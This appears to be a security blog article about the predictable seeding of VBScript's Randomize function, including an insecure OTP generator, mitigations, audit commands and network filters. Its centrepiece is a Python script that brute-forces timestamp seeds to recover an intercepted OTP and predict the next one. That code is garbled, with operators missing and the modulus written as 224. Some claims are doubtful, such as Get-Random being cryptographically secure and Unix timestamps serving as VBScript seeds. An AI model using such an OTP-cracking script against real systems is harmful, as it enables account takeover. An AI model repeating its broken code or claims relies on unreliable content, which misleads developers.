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Introduction:
VBScript, a legacy scripting language long deprecated but still present in many environments, harbors a critical weakness in its random number generation. The `Randomize` function, intended to provide randomness for scripts, can be fundamentally predictable, creating severe vulnerabilities in security mechanisms that rely on it. This predictability opens doors for attackers to bypass password generators, predict session tokens, and undermine cryptographic operations in legacy applications.
Learning Objectives:
- Understand the internal mechanics and security flaws of the VBScript `Randomize` function.
- Learn how to exploit predictable randomness to compromise security features like one-time passwords.
- Acquire mitigation strategies to replace vulnerable VBScript code with secure, modern alternatives.
You Should Know:
1. The Flaw in the VBScript Randomize Function
The core vulnerability lies in the `Randomize` function when used without a parameter. It seeds the random number generator (RNG) using the system clock, providing an extremely small and easily guessable seed space. This makes the entire sequence of “random” numbers predictable.
VBScript Code Snippet: Basic Random Usage
' This method is HIGHLY INSECURE Randomize ' Seeds using the system timer MyValue = Int((6 Rnd) + 1) ' Simulates a dice roll
Step-by-step guide explaining what this does and how to use it:
1. Randomize: This command initializes the VBScript RNG. When called without a numeric argument, it uses the value from the system timer as the seed.
2. Rnd: This function returns the next random number in the sequence. The sequence is entirely determined by the initial seed.
3. The Problem: An attacker who can approximate the time the script was run (often down to the second) can brute-force a very limited number of possible seeds to replicate the entire random sequence, predicting all outputs.
2. Exploiting Predictability for OTP Bypass
Many legacy systems used VBScript to generate One-Time Passwords (OTPs) or temporary access codes. By reverse-engineering the seed, an attacker can generate identical OTPs.
VBScript Code Snippet: Insecure OTP Generator
Function GenerateInsecureOTP(length) Randomize otp = "" For i = 1 to length otp = otp & Int((9 Rnd) + 0) Next GenerateInsecureOTP = otp End Function ' Example output: "429517"
Step-by-step guide explaining what this does and how to use it:
1. The `GenerateInsecureOTP` function is called, which internally uses `Randomize` and Rnd.
2. An attacker intercepts or sees one OTP (e.g., “429517”).
3. The attacker writes a script to iterate through all possible seed values based on a likely time window (e.g., the last 60 seconds). For each candidate seed, they generate an OTP and check if it matches the intercepted one.
4. Once a match is found, the attacker has discovered the correct seed and can predict every subsequent OTP the system will generate.
- Python Script to Crack the VBScript RNG Seed
To demonstrate the exploit, a Python script can be used to find the seed based on a known output. This highlights the trivial effort required to break this randomness.
Python Exploit Code Snippet
import time
from datetime import datetime, timedelta
def vbscript_rnd(seed):
Reimplementation of the VBScript RND algorithm
a = 1140671485
c = 12820163
m = 224
seed = (a seed + c) % m
return seed / m, seed
def generate_otp(seed, length=6):
_, current_seed = vbscript_rnd(seed)
otp = ""
for _ in range(length):
rnd_val, current_seed = vbscript_rnd(current_seed)
otp += str(int(rnd_val 10))
return otp
known_otp = "429517" The OTP we observed
window_seconds = 60 Search the last 60 seconds
now = int(time.time())
start_time = now - window_seconds
print("[] Brute-forcing VBScript RNG seed...")
for candidate_seed in range(start_time, now + 1):
if generate_otp(candidate_seed) == known_otp:
print(f"[+] SUCCESS: Seed found: {candidate_seed}")
print(f" Seed time: {datetime.fromtimestamp(candidate_seed)}")
print(f"[+] Predicting next OTP: {generate_otp(candidate_seed)}")
break
Step-by-step guide explaining what this does and how to use it:
1. vbscript_rnd(seed): This function mimics the internal linear congruential generator (LCG) used by VBScript’s Rnd.
2. generate_otp(seed, length): This function uses the replicated RNG to produce a 6-digit OTP from a given seed.
3. The main loop iterates through every possible integer seed value (Unix timestamps) within a `window_seconds` range.
4. For each candidate seed, it generates an OTP and compares it to the known_otp.
5. Upon finding a match, it prints the seed and immediately uses it to predict the next OTP in the sequence, completely breaking the security mechanism.
4. Mitigation: Replacing VBScript with PowerShell
The primary mitigation is to migrate all automation and scripting tasks from the deprecated VBScript to a modern, secure alternative like PowerShell, which uses a cryptographically secure random number generator (CSPRNG).
PowerShell Code Snippet: Secure Random Number Generation
Method 1: Using the .NET Cryptographically Secure RNG $rng = [System.Security.Cryptography.RNGCryptoServiceProvider]::Create() $byteArray = New-Object byte[] 4 $rng.GetBytes($byteArray) $secureRandomNumber = [System.BitConverter]::ToUInt32($byteArray, 0) Write-Host "Secure Random Number: $secureRandomNumber" Method 2: Simple secure random integer in a range (e.g., 1-10000 for an OTP) $secureOTP = Get-Random -Minimum 100000 -Maximum 999999 Write-Host "Secure OTP: $secureOTP"
Step-by-step guide explaining what this does and how to use it:
1. Method 1: It creates an instance of the `RNGCryptoServiceProvider` class, which is designed for cryptographic operations. It fills a byte array with random values, which are then converted to an integer. This method is suitable for high-value secrets like encryption keys.
2. Method 2: It uses PowerShell’s built-in `Get-Random` cmdlet, which by default uses a cryptographically secure seed. This is the simplest and most effective replacement for generating secure random numbers for purposes like OTPs.
3. Action: Identify all instances of `Randomize` and `Rnd` in legacy VBScript code and replace the entire logic with the appropriate PowerShell command.
5. Windows Command Line Audit for VBScript Files
Before mitigation, you need to locate all VBScript files on your systems. This can be done efficiently from the Windows command line.
Windows CMD Command Snippet
REM Search for all .vbs files on the C: drive dir C:.vbs /s /b REM Search for files containing "Randomize" or "Rnd" within .vbs files findstr /s /i "Randomize Rnd" .vbs
Step-by-step guide explaining what this does and how to use it:
1. dir C:\.vbs /s /b: The `dir` command lists files. The `.vbs` filter looks for files with the `.vbs` extension. The `/s` switch includes all subdirectories, and `/b` uses bare format (just the path), making it suitable for output to a file.
2. findstr /s /i "Randomize Rnd" .vbs: The `findstr` command searches for strings in files. `/s` searches the current directory and all subdirectories. `/i` makes the search case-insensitive. This command will pinpoint all VBScript files that contain the vulnerable functions, helping you prioritize your remediation efforts.
6. Linux/Mac Audit for VBScript in Cross-Platform Environments
Even in Linux environments, legacy systems or shared drives might contain vulnerable VBScript files used by Windows systems.
Bash Command Snippet
Find all .vbs files in the current directory and subdirectories find . -name ".vbs" -type f Use grep to search for the vulnerable functions inside those files grep -r -l -i "randomize|rnd" --include=".vbs" /path/to/search/
Step-by-step guide explaining what this does and how to use it:
1. find . -name ".vbs" -type f: The `find` command recursively searches from the current directory (.) for all files (-type f) ending in .vbs.
2. grep -r -l -i "randomize\|rnd" --include=".vbs" /path/to/search/: This is a powerful audit command. `-r` searches recursively, `-l` only prints the filenames that contain a match, and `-i` ignores case. The pattern `randomize\|rnd` searches for either word. The `–include=”.vbs”` filter ensures only VBScript files are searched.
7. Network Monitoring with Wireshark for Suspicious Activity
Attackers exploiting this vulnerability might be exfiltrating data or scanning internally. A basic Wireshark filter can help identify such patterns.
Wireshark Filter Snippet
Filter for HTTP traffic containing "vbs" or specific user-agents http contains ".vbs" || http.user_agent contains "vbscript" Filter for DNS queries for known malicious domains related to scripts dns.qry.name contains "payload" || dns.qry.name contains "script-control"
Step-by-step guide explaining what this does and how to use it:
1. http contains ".vbs": This filter displays all HTTP packets where the request or response contains the string “.vbs”, which could indicate a script being transferred or executed.
2. http.user_agent contains "vbscript": This looks for HTTP requests where the User-Agent header mentions VBScript, a potential indicator of automated attack tools.
3. dns.qry.name contains "payload" ...: This filters DNS queries for domains that sound suspicious and might be used by attackers to host payloads or command-and-control scripts. These filters are a starting point for detecting active exploitation in your network.
What Undercode Say:
- Legacy Code is a Ticking Time Bomb: The persistence of VBScript in corporate environments, often in forgotten automation or logon scripts, represents a significant and unaddressed risk. Its deprecation is not just a suggestion but a critical security mandate.
- Predictable Randomness is an Oxymoron: Any system that uses a non-cryptographic RNG for security purposes is fundamentally broken. The VBScript `Randomize` flaw is a classic and easily demonstrable example of this principle, showing that what developers assume is random can be perfectly deterministic for an attacker.
The analysis of this vulnerability serves as a stark reminder that security is only as strong as its weakest link, which is often found in outdated and unsupported software components. The ease with which the RNG can be cracked, requiring only a single data point and minimal computational power, elevates this from a theoretical weakness to a practical and immediate threat. Organizations must treat the presence of VBScript not as a legacy compatibility feature but as a critical vulnerability requiring urgent patching—which in this case means complete removal and replacement.
Prediction:
The future impact of this and similar vulnerabilities in legacy scripting engines will be amplified by their use in IoT devices and operational technology (OT) systems, where such scripts are deeply embedded and difficult to update. As attackers continue to automate the discovery and exploitation of these low-hanging fruits, we will see a rise in incidents where initial access is gained not through a complex zero-day, but through the exploitation of a known, deprecated technology that should no longer be in use. This will force a broader industry reckoning with technical debt, pushing for more aggressive sunsetting policies and automated code modernization tools.
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IT/Security Reporter URL:
Reported By: Aleborges Cybersecurity – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
